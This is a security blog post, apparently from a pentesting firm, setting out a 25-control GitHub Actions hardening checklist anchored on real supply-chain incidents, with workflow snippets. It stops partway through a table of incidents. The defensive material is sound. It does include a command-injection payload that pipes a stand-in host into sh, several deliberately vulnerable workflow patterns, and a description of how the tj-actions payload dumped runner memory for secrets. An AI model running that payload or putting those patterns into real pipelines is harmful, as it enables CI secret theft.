main logo icon

Published on

May 26, 2026

|

32 min read

GitHub Actions Security Checklist 2026: 25 Controls to Stop CI/CD Supply-Chain Attacks

A pentester-led GitHub Actions hardening checklist for 2026. Twenty-five controls across five categories, anchored on verified CVEs (tj-actions, reviewdog, Ultralytics, Nx s1ngularity, Shai-Hulud), with MITRE ATT&CK mapping and a sprint-by-sprint roadmap.

Arafat Afzalzada

Arafat Afzalzada

Founder

Web App SecurityNetwork SecurityLLM Security

Summarize with AI

ChatGPTPerplexityGeminiGrokClaude

TL;DR

GitHub Actions has become a top-five software supply-chain attack surface in 2025 and 2026. The tj-actions/changed-files compromise (CVE-2025-30066, March 2025) leaked secrets from over 23,000 repositories in a single 24-hour window by repointing every tag from v1 through v45.0.7 to one malicious commit. A second compromise of reviewdog/action-setup (CVE-2025-30154, also March 2025) sat upstream in the same supply-chain chain. The Nx s1ngularity attack (August 2025) leveraged a pull_request_target script-injection bug to mint an npm publish token and leaked 2,349 distinct secrets across 190+ organizations and 3,000+ repositories. The Shai-Hulud npm worm (September 2025, second wave November 2025) is the first publicly documented self-replicating npm worm: by November 24, 2025 it had backdoored 796 unique npm packages and registered victim hosts as rogue GitHub Actions self-hosted runners. By the time CISA published its September 23 2025 alert, thousands of credentials had already been exposed. Stingrai's 2026 GitHub Actions Security Checklist is a 25-control hardening guide structured into five categories: Action-Source Hardening, Workflow Security, Secret and Identity, Runner Security, and Branch and Repo Protection. Each control is anchored on a verified CVE or public incident, mapped to MITRE ATT&CK (T1195.002 Supply Chain Compromise, T1078 Valid Accounts, T1190 Exploit Public-Facing Application, T1059 Command and Scripting Interpreter, T1003 OS Credential Dumping), and paired with a one-line implementation. The full checklist sits inside a sprint-by-sprint roadmap so security teams can ship the highest-impact 12 controls in two sprints and the remaining 13 over the next quarter. Stat anchors: 28.65M new hardcoded secrets added to public GitHub commits in 2025 (+34% YoY, per GitGuardian); 1.275M leaked AI-service secrets in 2025 (+81% YoY); 454,600+ new malicious open-source packages identified in 2025 (Sonatype 2026 State of the Software Supply Chain Report); 99%+ of open-source malware lived on npm. Defender stack: GitHub native (pinning policy, CODEOWNERS, OIDC, environment reviewers, Dependabot), OpenSSF Scorecard, StepSecurity Harden-Runner egress detection (caught tj-actions in real time), Datadog CI Visibility, Sysdig + Trivy for image scanning, OSV / NVD / GHSA for vulnerability lookup. Cross-links: Supply Chain Attack Statistics 2026, Vulnerability Statistics 2026, Compromised Credential Statistics 2026.

The tj-actions/changed-files compromise (CVE-2025-30066, CVSS 8.6) leaked CI/CD secrets from more than 23,000 repositories in a single 24-hour window in March 2025. An attacker who held a compromised personal access token on the @tj-actions-bot account retroactively repointed every tag from v1 through v45.0.7 to a single malicious commit (0e58ed8671d6b60d0890c21b07f8835ace038e67). The malicious commit downloaded a Python memory-dumping payload from a public GitHub gist, walked /proc/[pid]/maps and /proc/[pid]/mem on the GitHub Actions Runner.Worker process, extracted CI/CD secrets matching the pattern "[^"]+":{"value":"[^"]*","isSecret":true}, base64-encoded them twice, and printed them to workflow logs. Every public repository that referenced the action by tag at the moment of the compromise leaked its workflow secrets to the world.

GitHub Actions is now a top-five software supply-chain attack surface. Sonatype's 2026 State of the Software Supply Chain Report identified more than 454,600 new malicious open-source packages in 2025, bringing the cumulative known-malware total to over 1.233 million packages across npm, PyPI, Maven Central, NuGet, and Hugging Face. Over 99% of open-source malware now lives on npm. GitGuardian's State of Secrets Sprawl 2026 counted 28.65 million new hardcoded secrets added to public GitHub commits in 2025, a 34% year-over-year increase and the largest single-year jump on record; 1.275 million of those were AI-service credentials, up 81% YoY. The attack surface is the GitHub Actions workflow, and the loot is the cleartext content of secrets.* references plus the GITHUB_TOKEN that the runner mints at job start.

This is Stingrai's 2026 GitHub Actions Security Checklist. The audience is platform engineers, AppSec leads, and CI/CD owners who need to ship hardened workflows this quarter. The post is a pentester's perspective on the controls that matter most. Every numeric claim links to its primary publisher (NVD, CISA, GitHub Security Advisories, OpenSSF, Sonatype, GitGuardian, official GitHub docs). Every checklist item is anchored on a verified CVE or public incident, mapped to MITRE ATT&CK, and paired with a one-line implementation note. The 25 controls cluster into five categories. The post covers each, then closes with a sprint-by-sprint implementation roadmap.

Chart Ghactions Checklist Categories

Figure 1: The five categories that organize the 25-control checklist. Each category neutralizes a distinct attack class observed in the named incidents below.

TL;DR: the 25 controls in one screen

Action-Source Hardening (6 controls)

  1. Pin every third-party action to a full commit SHA, not a tag. Stops tag-repointing attacks like tj-actions CVE-2025-30066.

  2. Allowlist GitHub Marketplace actions at the org level. Restricts the marketplace pool to Verified Creators and a named allowlist.

  3. Run OpenSSF Scorecard action on every repo. Surfaces unpinned dependencies, missing branch protection, and unsafe workflow patterns.

  4. Score every new third-party action before adoption. Combine Scorecard score, transitive-dependency count, and GitHub Verified Creator badge.

  5. Prefer first-party (actions/*) over tj-actions/* or other community actions for high-risk steps. Reduces the supply-chain blast radius.

  6. Use sigstore signature verification for any artifact pulled into a workflow. Provenance attestation closes the unsigned-binary gap.

Workflow Security (6 controls)

  1. Declare permissions: at the workflow and job level with read-only defaults. Stops a compromised step from minting a write-scope GITHUB_TOKEN.

  2. Never use pull_request_target in public repos. This trigger runs with secrets and write tokens in the upstream context, with code from a fork attacker.

  3. Quote and escape any expression interpolation of untrusted input. Never write ${{ github.event.pull_request.title }} directly into run:; bind to an env: variable first. Stops script injection.

  4. Reject untrusted writes to $GITHUB_ENV and $GITHUB_PATH. These propagate to later steps and to the runner's shell.

  5. Use actions/checkout with an explicit ref: argument when handling fork PRs. Defaults can pull attacker-controlled code into a privileged context.

  6. Extract workflow artifacts to /tmp, not the workspace. Workspace tarballs can leak .env and config files.

Secret and Identity (6 controls)

  1. Replace long-lived secrets with OIDC short-lived tokens for cloud deploys. Requires permissions: id-token: write. Stops static credential theft entirely for the AWS, Azure, GCP, and HashiCorp Vault providers.

  2. Scope secrets at the GitHub Environment level and require human approval for production environments. Stops a compromised PR step from minting a production token.

  3. Reference secrets through env: only, never as command-line arguments. Command-line args appear in another job's process table.

  4. Enable GitHub secret scanning + push protection. Stops most secrets from ever entering source on the way in.

  5. Re-register every derived secret manually. A JWT minted from a private key is a new secret; GitHub's redaction does not transit derivations.

  6. Audit Settings → Secrets and variables → Actions quarterly and rotate any unused or stale secret. GitGuardian's 2026 report found 64% of 2022-valid secrets are still exploitable today.

Runner Security (4 controls)

  1. Do not use self-hosted runners on public repos. A fork-PR contributor can compromise a persistent self-hosted runner and steal every secret it ever sees.

  2. Use ephemeral self-hosted runners (just-in-time runners) when self-hosted is unavoidable. Each job gets a fresh runner that auto-deletes; survival of a payload across jobs is no longer possible.

  3. Install StepSecurity Harden-Runner on every workflow. Egress allowlisting caught the tj-actions compromise in real time.

  4. Restrict runner network egress to a documented allowlist. Block gist.githubusercontent.com, raw paste sites, and unknown C2 domains by default.

Branch and Repo Protection (3 controls)

  1. Add .github/workflows/ to CODEOWNERS and require code-owner review for any workflow change. Stops workflow tampering through normal PRs.

  2. Require signed commits + branch protection + required reviews on main. Closes the unsigned-fast-forward attack class.

  3. Disable "Actions can approve pull requests" at the org level + enable Dependabot version updates + security updates on every repo. Stops the auto-merge bypass and shrinks the time-to-patch window.

The rest of this post unpacks each category with the attack it prevents, the verified CVE that anchors it, and the precise implementation.

Why GitHub Actions is the supply-chain attack surface of 2025 and 2026

GitHub Actions executes 600+ million workflow runs per month according to GitHub's Octoverse 2024, and a workflow is structurally a remote-code-execution surface authenticated by short-lived tokens and long-lived secrets. Five protocol-level design choices make this surface uniquely attractive to a supply-chain attacker:

  1. Pull-based execution against attacker-controlled refs. The runner pulls action source from a remote repository on every job. If a marketplace action is repointed (tj-actions) or compromised at source (reviewdog), every consumer's next workflow run executes the malicious code.

  2. The marketplace pull model trusts tags. uses: tj-actions/changed-files@v44 resolves at job-start time. A tag is a movable pointer; the attacker who controls the upstream repo controls what v44 resolves to.

  3. Default-permissive GITHUB_TOKEN. Until GitHub flipped the default to read-only for new repos in 2023, the GITHUB_TOKEN started write-scoped. Older repos and many orgs still default to permissive.

  4. Secrets in environment variables that runners process. The runner injects secrets.* into the workflow shell. Any step that runs malicious code can read them; the StepSecurity write-up of tj-actions documented exactly this exfiltration path.

  5. pull_request_target and workflow_run triggers run privileged with fork code. These triggers exist for legitimate reasons (writing comments back to PRs, running CI on community contributions), but they bridge the trust boundary between fork and upstream in ways that almost every real-world incident has exploited.

The result is a CI/CD attack chain that looks like this:

Chart Ghactions Attack Chain

Figure 2: A typical GitHub Actions supply-chain attack chain. A compromised marketplace action or a pull_request_target trigger gives the attacker code execution inside a privileged runner. The runner has access to GITHUB_TOKEN and to every secret the workflow references. The attacker prints the secrets to logs, exfiltrates them via DNS or HTTPS to an attacker-controlled endpoint, and pivots to npm or PyPI publication using the stolen credentials.

Category 1: Action-Source Hardening (6 controls)

The single highest-impact control on the entire list is pinning third-party actions to full commit SHAs. Every other control in this category supports that one.

Control 1: Pin every third-party action to a full commit SHA, not a tag

Attack it prevents: Tag-repointing attacks. Anchor incident: tj-actions/changed-files CVE-2025-30066, March 14 to 15, 2025. ATT&CK: T1195.002 Supply Chain Compromise: Compromise Software Supply Chain.

The tj-actions compromise was a textbook tag-repointing attack. The attacker held a compromised PAT on @tj-actions-bot, moved every tag from v1 through v45.0.7 to a single malicious commit, and waited. Every workflow that resolved uses: tj-actions/changed-files@v45 at job-start time pulled the attacker's code. The window was 24 hours. Over 23,000 repositories were affected. CISA added the CVE to the Known Exploited Vulnerabilities Catalog.

The fix is to pin every third-party action by SHA, not by tag:

Codejavascript
1# Vulnerable: tag is movable
2- uses: tj-actions/changed-files@v44
3
4# Hardened: SHA is immutable
5- uses: tj-actions/changed-files@4cd184a1dd542b79cca7d3e9a9d6c1bd1a47a3a4 # v44.5.5

GitHub's official guidance calls SHA pinning the only immutable release-method available. Pair the SHA with a comment recording the tag and version for human readability; renovate-bot, Dependabot, and the pin-github-action CLI keep these comments in sync.

Control 2: Allowlist GitHub Marketplace actions at the org level

Attack it prevents: Drift to unvetted third-party actions. ATT&CK: T1195.002.

GitHub provides org- and repo-level policy controls under Settings → Actions → General. The "Allow actions and reusable workflows" radio supports four options: all actions, only actions created by GitHub, only actions and reusable workflows in your enterprise, or a custom allowlist. Pick the most restrictive policy your engineering culture tolerates. For a regulated workload, the right answer is "GitHub-created + named allowlist." For a startup, an allowlist of Verified Creators is the practical floor.

Codesql
1Allow actions and reusable workflows: Select non-GitHub, and select:
2  ☑ Allow actions created by GitHub
3  ☑ Allow actions by Marketplace verified creators
4  ☑ Allow specified actions and reusable workflows:
5    actions/*,
6    docker/*,
7    aws-actions/*,
8    azure/login@*,
9    google-github-actions/*,
10    step-security/*,
11    ossf/scorecard-action@*

Combine the policy with Control 1 (SHA pinning) at repo level. The org policy decides which actions are allowed; the pin decides which version of the allowed action runs.

Control 3: Run OpenSSF Scorecard action on every repo

Attack it prevents: Drift in security posture. Anchor reference: OpenSSF Scorecard.

The OpenSSF Scorecard GitHub Action runs eighteen automated checks against a repository and posts results to GitHub code scanning. The most relevant checks for CI/CD hardening:

  • Token-Permissions: flags workflows missing top-level permissions: blocks.

  • Pinned-Dependencies: flags actions and Docker images pinned by tag rather than SHA.

  • Dangerous-Workflow: flags pull_request_target plus untrusted-input patterns.

  • Branch-Protection: flags repos missing branch protection on the default branch.

  • CI-Tests: flags repos without merge-time CI gates.

Scorecard requires id-token: write on the action's job so it can publish results to OpenSSF; the official setup guide covers the YAML.

Control 4: Score every new third-party action before adoption

Attack it prevents: Adoption of low-quality or under-maintained actions. Anchor reference: Sonatype's 2026 report on 454,600+ new malicious open-source packages in 2025.

Stingrai's heuristic for vetting a candidate third-party action:

Signal

Hardened threshold

GitHub Verified Creator badge

Required for any external action used in a privileged workflow.

OpenSSF Scorecard score

≥7/10 on the action's repository.

Stars and recent commits

Stars 500+, latest commit within 90 days, latest release within 180 days.

Transitive dependencies

Count under 10. Composite actions that pull in dozens of nested actions inflate the supply-chain surface.

Open security advisories

Zero open, unpatched advisories on the GitHub Security tab.

Maintainer count

At least two active maintainers. Single-maintainer actions are at higher risk of takeover.

Issue tracker behaviour

Maintainers respond to security issues within a week.

Apply this checklist before merging any PR that introduces a new uses: reference.

Control 5: Prefer first-party actions/* over community actions for high-risk steps

Attack it prevents: Single-maintainer supply-chain takeover.

GitHub publishes a first-party action library covering checkout, setup-node, setup-python, upload-artifact, download-artifact, cache, and more. For high-risk steps (checkout, secret-reading, deployment), prefer actions/* over community equivalents. Cloud providers (aws-actions/configure-aws-credentials, azure/login, google-github-actions/auth) are the next-best tier; they sit inside the cloud vendor's published action library and benefit from the vendor's own security review.

Community actions belong in lower-risk steps (linting, formatting, code coverage upload) and only with the SHA pin from Control 1.

Control 6: Use sigstore signature verification for artifacts pulled into workflows

Attack it prevents: Unsigned-binary supply-chain attacks. Anchor reference: SLSA framework and sigstore.

Sigstore is the OpenSSF-hosted signature service for open-source artifacts. The model:

  • A maintainer signs a release artifact with a short-lived keypair, anchored by an OIDC identity (GitHub Actions workflow identity, or a personal Google / Microsoft / GitHub login).

  • The signature is logged to the Rekor transparency log.

  • A downstream consumer verifies the artifact against the signature and the Rekor record before installing.

For a GitHub Actions workflow that pulls a Docker image, a tarball, or a CLI binary, run cosign verify against the artifact before executing it. For npm packages, npm's provenance attestation (released 2023) sits on top of sigstore and exposes npm install --provenance for verification.

Category 2: Workflow Security (6 controls)

This category prevents the workflow itself from becoming the attack surface. Three of these controls trace directly to the Nx s1ngularity attack of August 26, 2025, where an unsanitized pull-request title plus pull_request_target permissions allowed an attacker to mint the Nx npm publishing token in a four-hour window.

Control 7: Declare permissions: at the workflow and job level with read-only defaults

Attack it prevents: GITHUB_TOKEN write-scope abuse. ATT&CK: T1078 Valid Accounts.

The GITHUB_TOKEN that GitHub Actions mints at job start has a default scope that depends on the repository's setting under Settings → Actions → General → Workflow permissions. New repos created after 2023 default to read-only. Legacy repos default to write. Every workflow should declare its permissions explicitly, regardless of the repo default:

Codejavascript
1name: Build and test
2on: [push, pull_request]
3
4permissions:
5  contents: read  # default for the whole workflow
6
7jobs:
8  build:
9    runs-on: ubuntu-latest
10    steps: [...]
11
12  release:
13    runs-on: ubuntu-latest
14    permissions:
15      contents: write   # narrowly scoped to the release job
16      packages: write
17    steps: [...]

The pattern: top-level permissions: block sets a read-only default; jobs that need more (release, deploy, comment-on-PR) opt in to specific scopes. GitHub's permissions reference lists all scopes.

Control 8: Never use pull_request_target in public repos

Attack it prevents: Privileged execution of fork-attacker code. Anchor incidents: Ultralytics PyPI attack (December 4 to 7, 2024) and Nx s1ngularity (August 26, 2025). ATT&CK: T1190 Exploit Public-Facing Application.

pull_request_target is the most-abused trigger in the GitHub Actions threat model. The trigger runs in the upstream repo's context with access to upstream secrets and GITHUB_TOKEN, but is triggered by a pull request from a fork. The fork author controls the PR's title, body, branch name, and committed code. Any of those can be weaponized.

The Ultralytics attack used pull_request_target plus a malicious branch name. The branch contained shell metacharacters; the workflow interpolated the branch name into a run: step; the runner executed file.sh from an attacker-controlled URL. Versions 8.3.41, 8.3.42, 8.3.45, and 8.3.46 of the ultralytics PyPI package shipped to PyPI with an XMRig cryptocurrency miner payload.

The Nx s1ngularity attack used pull_request_target plus a malicious pull-request title that contained command-injection metacharacters. The runner executed the attacker's payload, harvested the Nx npm publishing token, and within four hours had published malicious versions of Nx and several plugins. Across the affected window, attackers leaked 2,349 distinct secrets across more than 190 organizations and over 3,000 repositories.

The rule is simple: do not use pull_request_target in public repos. If you need to comment back to a PR from a workflow, gate the comment behind contents: read, pull-requests: write on pull_request (not pull_request_target) and accept that the comment runs in the fork's context without access to upstream secrets. Trade off automation for safety.

Control 9: Quote and escape any expression interpolation of untrusted input

Attack it prevents: Script injection. Anchor incidents: Ultralytics and Nx s1ngularity. ATT&CK: T1059 Command and Scripting Interpreter.

Every workflow that uses ${{ github.event.* }} in a run: block has a script-injection risk surface. The classic anti-pattern:

Codejavascript
1# Vulnerable: PR title is interpolated into the shell
2- run: echo "PR title is ${{ github.event.pull_request.title }}"

The fork attacker sets the PR title to "; curl evil.example.com | sh; # and gets shell execution. The fix is the GitHub-recommended intermediate environment variable:

Codebash
1# Hardened: bind to env, then quote the variable
2- run: echo "PR title is $TITLE"
3  env:
4    TITLE: ${{ github.event.pull_request.title }}

The env: binding moves the interpolation outside the shell's parser, so the shell sees a plain variable expansion. Quote the variable in the shell command ("$TITLE", not $TITLE) to defend against word splitting. This single pattern would have stopped both the Ultralytics and Nx s1ngularity script-injection paths.

The high-risk context fields to grep for: github.event.pull_request.title, github.event.pull_request.body, github.event.issue.title, github.event.issue.body, github.event.comment.body, github.head_ref (branch name on a PR), github.event.workflow_run.head_branch, anything under inputs: from workflow_dispatch. Any of these can carry attacker-controlled input.

Control 10: Reject untrusted writes to $GITHUB_ENV and $GITHUB_PATH

Attack it prevents: Persistent step-to-step injection.

$GITHUB_ENV and $GITHUB_PATH are GitHub-Actions-provided files that propagate environment variables and PATH entries to all subsequent steps in the same job. A step that writes attacker-controlled input to either file effectively executes that input in every later step of the job.

Codebash
1# Vulnerable: untrusted input lands in env and persists to the next step
2- run: echo "TOOL_NAME=${{ github.event.inputs.tool }}" >> $GITHUB_ENV
3
4# Hardened: validate against allowlist
5- run: |
6    case "$INPUT" in
7      "trivy"|"semgrep"|"osv-scanner") echo "TOOL_NAME=$INPUT" >> "$GITHUB_ENV" ;;
8      *) echo "Invalid tool"; exit 1 ;;
9    esac
10  env:
11    INPUT: ${{ github.event.inputs.tool }}

The same pattern applies to $GITHUB_PATH. Never append attacker-controlled paths to $GITHUB_PATH; do it from a hardcoded list.

Control 11: Use actions/checkout with an explicit ref: when handling fork PRs

Attack it prevents: Implicit checkout of fork-attacker code in a privileged context.

The default behavior of actions/checkout on a pull_request trigger is to check out the merge commit between the PR and the base branch. The default behavior on a pull_request_target trigger is to check out the base branch (not the PR). If a workflow that runs on pull_request_target explicitly changes the ref to github.event.pull_request.head.sha, the workflow ends up executing PR code with upstream secrets:

Codejavascript
1# DANGEROUS pattern
2on: pull_request_target
3jobs:
4  test:
5    steps:
6      - uses: actions/checkout@v4
7        with:
8          ref: ${{ github.event.pull_request.head.sha }}
9      - run: npm install   # executes attacker's package.json scripts

If you must run integration tests against fork PR code with privileged tokens, do it from a separate, manually-triggered workflow that requires a human approval (an Environment with a Required reviewer). Otherwise, run on pull_request and accept the loss of secret access.

Control 12: Extract workflow artifacts to /tmp, not the workspace

Attack it prevents: Artifact upload that leaks .env and config files.

actions/upload-artifact packages the runner's workspace directory. If a workflow downloads attacker-controlled content into the workspace (a fork PR's repo, an arbitrary tarball), the next upload-artifact step bundles it together with any sibling .env, secrets.yaml, or terraform.tfstate that happens to be there. Extract third-party tarballs into /tmp or an explicit runner.temp path and limit upload-artifact to a known-safe subdirectory.

Codejavascript
1- run: mkdir -p /tmp/extracted
2- run: tar -xzf ./untrusted.tgz -C /tmp/extracted
3- uses: actions/upload-artifact@v4
4  with:
5    name: build-output
6    path: ./dist  # never the whole workspace

Category 3: Secret and Identity (6 controls)

This category is where the tj-actions and Shai-Hulud blast radius lives. The single most impactful control is moving cloud deploys to OIDC.

Control 13: Replace long-lived secrets with OIDC short-lived tokens for cloud deploys

Attack it prevents: Static-credential theft. Anchor reference: GitHub OIDC docs. ATT&CK: T1078 Valid Accounts.

OIDC eliminates the long-lived cloud credential. The model: GitHub mints a short-lived JWT signed by GitHub's OIDC provider; the cloud provider (AWS, Azure, GCP, HashiCorp Vault) validates the token against a trust policy that pins the GitHub org, repo, branch, and environment; the cloud provider returns a short-lived access token for the job's duration.

Codejavascript
1permissions:
2  id-token: write   # required for OIDC
3  contents: read
4
5jobs:
6  deploy:
7    runs-on: ubuntu-latest
8    environment: production   # trust policy pinned to this environment
9    steps:
10      - uses: aws-actions/configure-aws-credentials@v4
11        with:
12          role-to-assume: arn:aws:iam::123456789012:role/GitHubActionsDeploy
13          aws-region: us-east-1
14      - run: aws s3 sync ./dist s3://prod-bucket/

On the cloud side, the trust policy gates token issuance on a sub claim like repo:stingrai/api:environment:production:ref:refs/heads/main. A compromised PR build cannot mint a production token because the trust policy rejects the PR's sub claim. The full pattern is documented for AWS, Azure, and GCP.

Stingrai's recommendation: any deploy that today uses an AWS_ACCESS_KEY_ID long-lived secret should migrate to OIDC this quarter. Same for Azure service-principal client secrets and GCP service-account JSON keys.

Control 14: Scope secrets at the GitHub Environment level + require human approval for production

Attack it prevents: Cross-workflow secret leakage. Anchor reference: GitHub environments documentation.

GitHub Environments are per-environment scopes that hold their own secrets, variables, and protection rules. An environment can require a named reviewer to approve a workflow run before any step that references the environment executes. The pattern:

  • production environment: holds prod deploy credentials. Required reviewers: 2 named platform engineers. Wait timer: 0 minutes. Deployment branches: main only.

  • staging environment: holds staging deploy credentials. Required reviewers: 1. Branches: main and release/*.

  • pull-request environment: holds limited test credentials. No required reviewer. Branches: any.

The prod environment's secrets are inaccessible to any workflow that doesn't declare environment: production, and that workflow waits at the reviewer gate until a human approves. A compromised PR build cannot exfiltrate prod secrets even if the attacker controls the workflow YAML, because the reviewer gate fires before any prod step runs.

Control 15: Reference secrets through env: only, never as command-line arguments

Attack it prevents: Secrets in process-table snapshots.

GitHub's redaction strips registered secrets from logs but not from process tables. A step that runs curl --header "Authorization: Bearer ${{ secrets.API_TOKEN }}" puts the cleartext token in the runner's process listing, which a sibling step (including a malicious composite action) can read via ps. The fix:

Codejavascript
1# Bad
2- run: curl --header "Authorization: Bearer ${{ secrets.API_TOKEN }}" https://api.example.com/
3
4# Good
5- run: curl --header "Authorization: Bearer $API_TOKEN" https://api.example.com/
6  env:
7    API_TOKEN: ${{ secrets.API_TOKEN }}

This control combines with Control 7 (read-only permissions:) to bound exactly what a compromised step can see.

Control 16: Enable GitHub secret scanning + push protection

Attack it prevents: Secrets committed to source. Anchor reference: GitGuardian State of Secrets Sprawl 2026.

GitHub secret scanning detects more than 200 secret patterns committed to a repo and alerts the maintainer. Push protection sits one step further upstream: it blocks the git push if a secret pattern is detected in the changed files. Push protection is GitHub Advanced Security for private repos and free for public repos.

GitGuardian's 2026 report found 28.65 million secrets entered public GitHub commits in 2025, a 34% YoY jump. Push protection is the only intervention that stops most of those at the boundary. 32.2% of internal repos contain at least one hardcoded secret, vs 5.6% of public repos; the gap reflects the visibility that GitHub-side scanning gives public repos.

Control 17: Re-register every derived secret manually

Attack it prevents: Log-redaction bypass on transformed secrets.

GitHub redacts registered secrets from logs. If a workflow takes a private key from secrets.PRIVATE_KEY and signs a JWT with it, the JWT is not in GitHub's redaction list. The JWT is a new secret. If the workflow prints the JWT (intentionally or via an error), GitHub does not redact it.

The fix is to explicitly register the derived secret using add-mask:::

Codebash
1- run: |
2    JWT=$(generate-jwt --private-key "$PRIVATE_KEY")
3    echo "::add-mask::$JWT"
4    echo "JWT=$JWT" >> "$GITHUB_ENV"
5  env:
6    PRIVATE_KEY: ${{ secrets.PRIVATE_KEY }}

Apply this pattern to: base64-encoded secrets, URL-encoded secrets, JWTs derived from secrets, OAuth access tokens minted from refresh tokens, any AWS STS token returned from sts:AssumeRole. The OWASP guidance and the GitHub security hardening docs both call this out.

Control 18: Audit Settings → Secrets and variables → Actions quarterly + rotate

Attack it prevents: Stale-credential persistence. Anchor reference: GitGuardian's 2025 finding that 64% of 2022-valid secrets are still exploitable in 2026.

Secrets accumulate. The platform engineer who needed a Heroku API token in 2022 is no longer with the company. The Heroku app is decommissioned. The token is still in Settings → Secrets. If anyone ever pulls that secret into a workflow (or if a compromised marketplace action enumerates secrets via the API), the token still works.

A quarterly audit walks the secrets list, asks "is this still needed?" for each entry, and rotates the secret regardless of need. The Shai-Hulud worm succeeded in part because npm tokens left over from the Nx s1ngularity breach were never rotated. Rotation is cheap; persistence is expensive.

Category 4: Runner Security (4 controls)

The runner is the trust boundary. The default GitHub-hosted runner is ephemeral and reset between jobs; self-hosted runners are persistent by default and inherit every secret of every job they ever ran.

Control 19: Do not use self-hosted runners on public repos

Attack it prevents: Persistent runner takeover via fork PR. Anchor reference: GitHub's official guidance.

GitHub's docs are explicit: "Self-hosted runners should almost never be used for public repositories." The reason: anyone with fork-PR access can submit malicious code that runs on the self-hosted runner. Once the runner is compromised, the attacker has persistent access to whatever the runner sees: the GITHUB_TOKEN of every later job, any secret a later job references, any network the runner can reach.

If your team must run self-hosted (for special hardware, regulated environments, internal-network access), restrict self-hosted to private repos only. Use GitHub-hosted runners for any repo that accepts fork PRs.

Control 20: Use ephemeral self-hosted runners (just-in-time runners) when self-hosted is unavoidable

Attack it prevents: Cross-job persistence on self-hosted runners. Anchor reference: GitHub JIT runners + actions-runner-controller.

A just-in-time (JIT) runner is provisioned, runs one job, and is destroyed. The runner-controller pattern (Kubernetes-based) or AWS / Azure / GCP autoscaling group can implement JIT runners with a 30 to 60 second provisioning time. Cost is roughly comparable to GitHub-hosted runners for a busy workflow because the runner only exists for the job's duration.

The Shai-Hulud worm specifically registered victim hosts as rogue GitHub Actions self-hosted runners named "SHA1HULUD"; JIT runners would have invalidated that persistence model.

Control 21: Install StepSecurity Harden-Runner on every workflow

Attack it prevents: Unexpected runner egress. Anchor incident: StepSecurity caught tj-actions in real time.

StepSecurity Harden-Runner is an open-source GitHub Action that runs as the first step of a workflow and turns the runner into an audited sandbox. Three observable behaviors:

  • Egress monitoring: records every outbound network connection the runner makes, with destination domain and process name.

  • File integrity monitoring: records every write to /etc, /usr/bin, and other persistent paths.

  • Tamper protection: disables the runner's ability to modify the runner binary itself.

In the tj-actions incident, Harden-Runner detected the anomalous egress to gist.githubusercontent.com on March 14, 2025 around 5:00 PM UTC, which is how the security community had a name for the incident inside hours rather than days. The Harden-Runner setup:

Codejavascript
1- uses: step-security/harden-runner@v2
2  with:
3    egress-policy: audit   # start in audit mode, then upgrade to block
4    allowed-endpoints: >
5      github.com:443
6      api.github.com:443
7      registry.npmjs.org:443

Stingrai recommends egress-policy: audit in week one, then egress-policy: block plus a curated allowlist by week three.

Control 22: Restrict runner network egress to a documented allowlist

Attack it prevents: C2 callback and secret exfiltration.

This is the policy expression of Control 21. Once Harden-Runner's audit logs show the workflow's real egress pattern, codify the pattern as an allowlist and switch to block mode. Typical hardened allowlist for a Node.js build job:

Codejavascript
1github.com:443
2api.github.com:443
3codeload.github.com:443
4objects.githubusercontent.com:443
5registry.npmjs.org:443
6registry.yarnpkg.com:443
7nodejs.org:443
8auth.docker.io:443
9production.cloudflare.docker.com:443

Block lists should include gist.githubusercontent.com (the tj-actions exfiltration domain), generic raw-paste hosts (pastebin.com, paste.ee), and any IP-literal HTTPS endpoint. Most legitimate workflows use a small, predictable set of domains; any unexpected egress is a high-confidence anomaly signal.

Category 5: Branch and Repo Protection (3 controls)

The final category sits at the repo's governance layer. These controls are cheap and have outsized effect.

Control 23: Add .github/workflows/ to CODEOWNERS

Attack it prevents: Workflow tampering through normal PRs. ATT&CK: T1195.002.

A CODEOWNERS entry for .github/workflows/* requires the listed reviewers (typically the platform or security team) to approve any change to a workflow file. Combined with branch protection that requires CODEOWNERS review, this stops a compromised contributor or a malicious PR from quietly weakening a workflow's permissions block, adding a curl-pipe-to-sh step, or removing a Harden-Runner step.

Codejavascript
1# CODEOWNERS
2/.github/workflows/  @stingrai/platform @stingrai/security

Control 24: Require signed commits + branch protection + required reviews on main

Attack it prevents: Unsigned-fast-forward attacks and unreviewed merges. Anchor reference: GitHub branch protection docs.

The canonical hardened branch-protection profile for main:

  • Require pull request before merging: yes

  • Required number of approving reviews: at least 1 (2 for regulated workloads)

  • Dismiss stale approvals when new commits are pushed: yes

  • Require review from Code Owners: yes

  • Require status checks to pass before merging: yes (CI, Scorecard, Harden-Runner audit)

  • Require branches to be up to date before merging: yes

  • Require signed commits: yes

  • Require linear history: yes (or require merge commits, but not both)

  • Allow force pushes: no

  • Allow deletions: no

  • Lock branch: no (only for read-only release branches)

The signed-commits requirement closes a real attack class: an attacker who compromised a contributor's laptop can push code, but cannot push code signed with the contributor's GPG or SSH signing key. The signing requirement gives provenance to every commit on main.

Control 25: Disable "Actions can approve pull requests" + enable Dependabot version and security updates

Attack it prevents: Auto-merge bypass via workflow-minted approval + slow patch cadence.

Two settings, one control number because both live under Settings → Actions → General → Workflow permissions:

  • Disable "Allow GitHub Actions to create and approve pull requests." This stops a compromised workflow from minting an approval on its own PR and merging without human review. Default in 2026 is disabled; verify.

  • Enable Dependabot version updates + security updates. Dependabot opens PRs that bump pinned dependencies (including SHA-pinned third-party actions) when a new version ships. Security updates open PRs against known-vulnerable dependencies. Combined with Control 1 (SHA pinning), Dependabot keeps the SHA refreshed without the security team manually walking every workflow.

Dependabot only alerts on semver-pinned dependencies by default; SHA-pinned dependencies need the enable-beta-ecosystems: true flag in dependabot.yml to receive pin-update PRs.

Chart Ghactions Mitigation Impact

Figure 3: The 25 controls plotted against the attack class they prevent and the implementation difficulty band. The highest-impact one-sprint controls are SHA pinning, OIDC, top-level read-only permissions, Harden-Runner, and CODEOWNERS on workflows.

Verified GitHub Actions and CI/CD CVEs and incidents, December 2024 to November 2025

Every entry in this table is verifiable at NVD, the GitHub Security Advisory database, CISA's KEV catalog, or the vendor's own post-mortem. Six named CVEs are GHSA- or CVE-tagged; the remaining incidents are public security advisories without an assigned CVE because they affected ecosystem-level npm or PyPI publishing rather than a single library.

Date

Identifier

Component

Class

Summary

Dec 4-7, 2024

Ultralytics PyPI

ultralytics PyPI package (v8.3.41 to v8.3.46)

Script injection + cache poisoning

Attacker openimbot opened fork PR with malicious branch name; GitHub Actions interpolated branch into run:; runner downloaded file.sh. PyPI shipped XMRig cryptominer in v8.3.41 (12-hour window), v8.3.42, v8.3.45, v8.3.46.

Mar 14-15, 2025

